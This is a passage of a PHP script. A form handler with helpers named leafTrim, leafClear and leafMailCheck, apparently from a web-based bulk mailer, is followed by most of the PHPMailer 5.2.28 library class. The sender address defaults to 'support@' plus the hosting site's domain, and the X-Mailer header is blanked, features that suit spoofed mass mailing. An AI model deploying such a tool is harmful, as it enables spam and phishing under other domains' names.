    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
